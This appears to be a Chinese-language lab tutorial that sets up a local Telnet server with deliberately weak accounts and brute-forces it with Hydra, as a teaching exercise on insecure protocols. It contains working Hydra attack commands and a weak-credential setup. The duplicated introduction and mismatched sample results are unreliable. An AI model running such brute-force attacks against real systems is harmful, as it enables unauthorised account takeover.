简介
在这个实验中,你将学习如何使用多功能密码破解工具 Hydra 对 Telnet 服务进行暴力攻击。你将搭建一个易受攻击的 Telnet 环境,并使用 Hydra 演示如何利用弱凭证。
本实验涵盖 Telnet 服务器配置、创建测试凭证以及执行 Hydra 攻击,以凸显安全风险。通过实践操作,你将了解为什么 Telnet 不安全,并认识到使用加密替代方案的重要性。
在这个实验中,你将学习如何使用多功能密码破解工具 Hydra 对 Telnet 服务进行暴力攻击。你将搭建一个易受攻击的 Telnet 环境,并使用 Hydra 演示如何利用弱凭证。
本实验涵盖 Telnet 服务器配置、创建测试凭证以及执行 Hydra 攻击,以凸显安全风险。通过实践操作,你将了解为什么 Telnet 不安全,并认识到使用加密替代方案的重要性。
在这一步中,你将在你的 LabEx 虚拟机上安装一个 Telnet 服务器,以创建一个本地测试环境。Telnet 是最古老的网络协议之一,允许远程访问系统。然而,它以明文形式传输所有数据(包括密码),不进行加密,这使得它在实际应用中极不安全,但非常适合用于学习安全测试概念。
sudo apt update
-y
标志会在安装过程中自动确认所有提示:sudo apt install -y xinetd telnetd
/etc/xinetd.d/telnet
处创建 Telnet 配置文件。我们将使用 nano,这是一个大多数 Linux 系统都自带的简单文本编辑器:sudo nano /etc/xinetd.d/telnet
disable = no
这一行尤为重要,因为它会激活该服务:service telnet
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
}
sudo service xinetd restart
netstat
命令会显示活动的网络连接和监听端口:sudo netstat -tulnp | grep 23
你应该会看到类似以下的输出,表明 Telnet 服务正在端口 23 上监听:
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 1234/xinetd
在这一步中,你将创建用于 Hydra 暴力攻击演示的测试账户。这些账户代表了在实际系统中常见的弱凭证,使我们能够安全地演示攻击者如何利用不良的密码设置。
useradd
命令创建三个测试用户账户。-m
标志确保为每个用户创建主目录:sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
chpasswd
命令可以安全地更改密码,无需交互式提示:echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
grep
命令用于在 /etc/passwd
中过滤我们的测试用户,该文件存储了所有用户账户信息:grep -E 'user1|user2|user3' /etc/passwd
你应该会看到类似以下的输出:
user1:x:1001:1001::/home/user1:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
user3:x:1003:1003::/home/user3:/bin/sh
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
cat
命令用于显示文件内容——我们检查这两个文件,以确保其格式符合 Hydra 的要求:cat usernames.txt && cat passwords.txt
你应该会看到:
user1
user2
user3
password
123456
qwerty
在这一步中,你将准备 Hydra 用于暴力攻击的凭证文件。这些文件包含了我们在上一步中创建的用户名和密码。暴力攻击的原理是系统地尝试所有可能的凭证组合,直到找到正确的组合。拥有组织良好的凭证文件可以使这个过程更加高效。
cd ~/project
ls -l usernames.txt passwords.txt
你应该会看到类似以下的输出:
-rw-r--r-- 1 labex labex 12 May 1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May 1 10:00 usernames.txt
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt
预期输出:
Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt
这将显示:
user1 password
user2 123456
user3 qwerty
sudo apt install -y hydra hydra-gtk
hydra -h | head -n 5
你应该会看到 Hydra 的帮助输出,开头如下:
Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
在这一步中,你将使用 Hydra 利用之前准备好的凭证文件对本地 Telnet 服务器进行暴力攻击。Hydra 是一款流行的密码破解工具,支持包括 Telnet 在内的多种协议。攻击将系统地尝试文件中的所有用户名/密码组合。
cd ~/project
-L
标志指定用户名列表,-P
指定密码列表:hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1 login: user1 password: password
1 of 1 target successfully completed, 1 valid password found
-o
标志,后面跟上输出文件名:hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
cat hydra_results.txt
显示成功登录尝试的示例输出:
[23][telnet] host: 127.0.0.1 login: user1 password: password
-vV
标志启用详细模式,显示 Hydra 尝试的每个组合:hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1
详细输出将如下所示,显示失败和成功的尝试:
[VERBOSE] Attempting user1:password... [SUCCESS]
在这一步中,你将分析 Hydra 对 Telnet 服务进行暴力攻击的结果,以了解哪些凭证已被破解。Hydra 会针对该服务测试多个用户名/密码组合,输出文件包含了所有成功登录以及失败尝试的信息。
cd ~/project
cat hydra_results.txt
示例输出展示了成功登录的格式。每行包含协议(telnet)、目标 IP 地址和破解的凭证:
[23][telnet] host: 127.0.0.1 login: user1 password: password
[23][telnet] host: 127.0.0.1 login: user2 password: 123456
grep
查找包含 "login:" 的行:grep "login:" hydra_results.txt
telnet 127.0.0.1
在登录提示处输入:
user1
password
成功登录后将显示服务器欢迎消息和命令提示符:
Welcome to LabEx Telnet Server
user1@localhost:~$
测试完成后,输入 exit
退出 Telnet 会话。
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt
sudo grep telnet /var/log/auth.log
服务器日志显示详细的认证事件,包括时间戳和成功/失败状态:
May 1 10:00:00 labex in.telnetd[1234]: connect from 127.0.0.1 (127.0.0.1)
May 1 10:00:01 labex login: pam_unix(telnet:auth): authentication failure; logname= uid=0 euid=0 tty=telnet ruser= rhost=127.0.0.1 user=user3
May 1 10:00:02 labex login: pam_unix(telnet:session): session opened for user user1 by (uid=0)
在本次实验中,你学习了如何使用 xinetd 搭建一个易受攻击的 Telnet 服务器环境,并使用弱凭证进行安全测试。这个过程包括在端口 23 上配置 Telnet 服务,以及创建故意使用弱密码的测试账户,以展示认证漏洞。
本次练习强调了使用像 Telnet 这样的未加密协议所带来的安全风险,以及实施强密码策略的至关重要性。通过使用 Hydra 进行的实际演示,你可以看到暴力攻击是多么容易攻破具有弱认证机制的系统。